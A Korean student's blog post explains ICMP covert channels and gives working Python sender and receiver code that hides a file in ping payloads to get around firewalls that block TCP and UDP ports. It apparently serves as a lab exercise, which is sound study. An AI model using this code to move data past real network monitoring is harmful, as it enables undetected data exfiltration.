학사 나부랭이
Network - File transfer 본문
네트워크에서 프로토콜은 약속이고 정의하기 나름이에요. 그러니, IP 헤더의 사용하지 않는 부분에 특정한 약속을 만들거나, ICMP 헤더의 데이터에 다른 프로토콜을 구현할 수도 있죠. 이런 방식으로 숨겨서 정보를 전송하는 네트워크 공격 기법이 은닉 채널(Covert Channel)이에요. 예를 들어, 방화벽 같은 장비에서 TCP, UDP 포트를 막았거나 감시할 때 이용해, 감시 장비를 우회해 파일을 전송할 수 있어요.
PING은 거의 모든 운영체제에 설치되어 있는 도구며, 이를 이용한 코드로 TCP, UDP 포트가 막혀도 파일을 전송할 수 있어요. 이제 PING 기능을 이용해, ICMP의 메시지로 사진 파일을 전송할 거예요.
# receiver's code
from socket import *
import os
import struct
import sys
def parseIPHeader(ip_header):
ip_headers = struct.unpack("!2B3H2BH4s4s", ip_header[:20])
ip_payloads = ip_header[20:]
return ip_headers, ip_payloads
def parseICMPHeader(icmp_data):
icmp_headers = struct.unpack("!2B3H", icmp_data[:8])
icmp_payloads = icmp_data[8:]
return icmp_headers, icmp_payloads
def parsing(host):
# make raw socket and bind
if os.name == "nt":
sock_protocol = IPPROTO_IP
else:
sock_protocol = IPPROTO_ICMP
sock = socket(AF_INET, SOCK_RAW, sock_protocol)
sock.bind((host, 0))
# socket option
sock.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
# turn on the promiscuous mode
if os.name == "nt":
sock.ioctl(SIO_RCVALL, RCVALL_ON)
file_path = "./carrot_batter.jpg"
if os.path.isfile(file_path):
os.remove(file_path)
receive_bytes = 0
try:
while True:
data = sock.recvfrom(65535)
ip_headers, ip_payloads = parseIPHeader(data[0])
if ip_headers[6] == 1: # ICMP only
ip_source_address = inet_ntoa(ip_headers[8])
ip_destination_address = inet_ntoa(ip_headers[9])
print(f"from.{ip_source_address}->to.{ip_destination_address}")
icmp_headers, icmp_payloads = parseICMPHeader(ip_payloads)
# 수신하는 데이터의 byte 크기를 출력
receive_bytes += len(icmp_payloads)
if icmp_headers[0] == 8: # 수신받은 ICMP 패킷 중 Echo Request인 패킷
print(f"Receiving data... {receive_bytes}")
with open(file_path, "ab") as f: # byte 형태로 fil_path 뒤에 붙임
f.write(icmp_payloads) # 파일 입출력의 내용
if icmp_payloads == b"EOF":
print("Finished!!!")
sock.ioctl(SIO_RCVALL, RCVALL_OFF)
sys.exit(0)
print("=" * 20)
except KeyboardInterrupt: # Ctrl + C key input
if os.name == "nt":
sock.ioctl(SIO_RCVALL, RCVALL_OFF)
if __name__ == "__main__":
host = "192.168.0.21"
print(f"START SNIFFING at {host}")
parsing(host)
# sender's code
from pythonping import ping
from time import sleep
with open("./carrot_batter.jpg", "rb") as f: # 송신할 파일을 byte 형태로 읽음
while True:
byte = f.read(1024) # 1024bytes 만큼 버퍼를 읽음
if byte == b"": # EOF, Null'
ping("192.168.0.21", verbose=True, count=1, payload=b"EOF")
break
ping("192.168.0.21", verbose=True, count=1, payload=byte) # ICMP 데이터 부분에 읽은 버퍼를 넣고, Echo Request 패킷을 전송
sleep(0.5) # 도착 순서를 보장할 수 없으니(=순서가 꼬여 제대로 된 파일이 완성되지 않을 수 있으니), 간격을 줘서 전송 요청
패킷은 송수신 순서를 보장하지 않기에 즉, 먼저 보낸 패킷이 나중에 도달할 수 있다는 점을 주의해야 해요.
여기서 새로 알게 된 파이썬 파일 입출력의 모드에 대해 살짝 알아보죠.
with open(path_of_file, mode) as var_name:
var_name.read()
var_name.write()
Mode | Function |
r | reading mode |
w | writing mode, if file_existing == True: deleteFile |
x | writing mode, if file_existing == True: tossError |
a | writing mode, attaching bytes at "tail of file" |
+ | reading writing mode |
t | text mode, in/output as text form |
b | binary mode, in/output as byte form |
모드는 rt가 기본이고, 코드처럼 조합해 사용 가능해요.
'自習 > 実習' 카테고리의 다른 글
Network - Remote control with sockets (0) | 2021.07.13 |
---|---|
Kali Linux - Opening (0) | 2021.05.14 |
reset the root's password of ESXi 6.0.0 (0) | 2021.05.11 |
Comments